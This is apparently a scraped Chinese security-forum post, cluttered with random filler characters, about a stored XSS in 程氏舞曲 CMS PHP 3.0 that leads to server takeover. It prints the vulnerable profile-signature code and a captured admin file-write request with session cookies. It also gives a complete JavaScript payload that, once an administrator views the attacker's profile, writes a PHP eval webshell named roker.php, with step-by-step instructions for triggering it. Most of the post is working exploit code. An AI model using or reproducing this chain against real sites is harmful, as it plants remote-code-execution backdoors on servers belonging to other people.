程氏舞曲CMSPHP3.0 储存型xss getshell

admin

这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题 官网已经修补了，所以重新下了源码 0 a: E/ r' H9 q* N# C2 p因为 后台登入 还需要认证码 所以 注入就没看了。 * M# a9 C7 r! G/ O3 T! j6 ?存在 xss 漏洞文件 user/member/skin_edit.php 本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名： $ k0 j' t6 z0 v" Q1 ]   1 ]0 j" p' f* c; o</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>    2 H* z1 Z# j: b$ O! |. x' M</textarea></td></tr>    2 M4 R. I0 b3 e2 a             user/do.php ( }: N$ G8 U+ U7 e  e; B  \. M 0 S' a% w! \2 c8 s / V6 B: y7 i$ i) Jif($op=='zl'){ //资料    1 O% P$ Q0 `4 F             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) " S% {  m# B% A/ Q" i' [             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));                 $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',                 CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'              where CS_Name='".$cscms_name."'"; # k7 D: D6 L  S% k   ; O0 s. t; [- A0 @( l             if($db->query($sql)){ & W. e, w; a2 S# d, }  S9 ?                 exit(Msg_Error('恭喜您，修改成功了!','javascript:history.go(-1);')); / Q0 R; _) v: {  P   , D$ D' E1 Y& N2 _0 B2 l             }else{ 9 k6 _8 P6 E! }, c, v4 G5 d; O5 ]   ' {% K) H3 T. J! P- }' |              exit(Msg_Error('抱歉，修改失败了!','javascript:history.go(-1);'));                 } # \7 c" e: L+ o6 F没有 过滤导致xss产生。 后台 看了下 很奇葩的是可以写任意格式文件。。   o! q$ o8 f) K  h, y' @抓包。。   E/ G9 y' q9 Y; ^5 J' R: x+ ] 5 n2 ?% }: X! H& N本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1    ; h7 p# O) v1 [0 w7 O! zAccept: text/html, application/xhtml+xml, */*    9 q( z9 `: F4 GReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php 2 n) w: F, E9 Z; \- U2 x+ z# a9 l   & j4 f8 M! ~1 I' a$ t2 RAccept-Language: zh-CN % I: l" T9 k) p  A$ E0 ]' u   8 `0 J( M6 z# C6 Q* g! oUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) $ n) [* d/ y8 W   / X2 L# r1 U* k. Z0 N2 }/ M: f7 hContent-Type: application/x-www-form-urlencoded    Accept-Encoding: gzip, deflate    0 Y9 h& y" A1 g) D4 U, e# q  ~2 n0 WHost: 127.0.0.1    Content-Length: 38 ( P& U" _  s/ t  @5 S- ]! t   8 d: ]! Q. n3 H6 O: @) q) }: LDNT: 1    Connection: Keep-Alive    , X6 E3 U/ s  h; R8 s% UCache-Control: no-cache " J9 D$ K5 f) n3 @! ]- f9 N   Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594    , o& i: @& j/ G- |/ k' k name=aaa.php&content=%3Cs%3E%3Ca%25%3E / z  ~. b) z, K, Y  Q$ c, F 0 c7 V9 }3 ]+ }- J' g 于是 构造js如下。 : m) ]) R' E! Z! y: N本帖隐藏的内容<script> thisTHost = top.location.hostname; 3 n# }3 H8 W" G# c& g% m   thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";    9 A) y  j) d1 L3 Efunction PostSubmit(url, data, msg) { # o+ s  [: a: y2 i; S( ~4 z    var postUrl = url;        var postData = data; ' C( E! M' z4 N' x    var msgData = msg; 2 E8 |6 H" ]0 Z! [, k    var ExportForm = document.createElement("FORM");     document.body.appendChild(ExportForm);     ExportForm.method = "POST"; ; E" `* ~1 @' m; Y    var newElement = document.createElement("input");     newElement.setAttribute("name", "name");     newElement.setAttribute("type", "hidden");     var newElement2 = document.createElement("input"); % t& {3 a* {- F. O    newElement2.setAttribute("name", "content"); 9 x# q2 a6 z8 L+ ?8 G    newElement2.setAttribute("type", "hidden");     ExportForm.appendChild(newElement); # R- b% [3 d, _, g2 X( G- L6 i5 B" ]    ExportForm.appendChild(newElement2); ' ]; h0 e! y5 Z6 v5 h4 p7 R1 A8 {: U    newElement.value = postData;     newElement2.value = msgData;     ExportForm.action = postUrl;     ExportForm.submit(); }; 5 m9 |3 l( c+ H; m1 h5 H# |   6 c4 c, R$ {3 L! LPostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>"); ( b+ |( N- C/ a9 P2 q  K# T   </script> 1 R, g7 O  B2 n5 n, S 4 v+ P7 U9 J! ~ 0 `1 p. Y. E( f5 a* @+ A http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入 3 I* K/ @+ T+ n) s9 b* D4 R9 \用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2（uid自己改） 就会 在 skins\index\html\目录下生成 roker.php 一句话。

( y) a$ B  J3 m: j3 _7 p6 P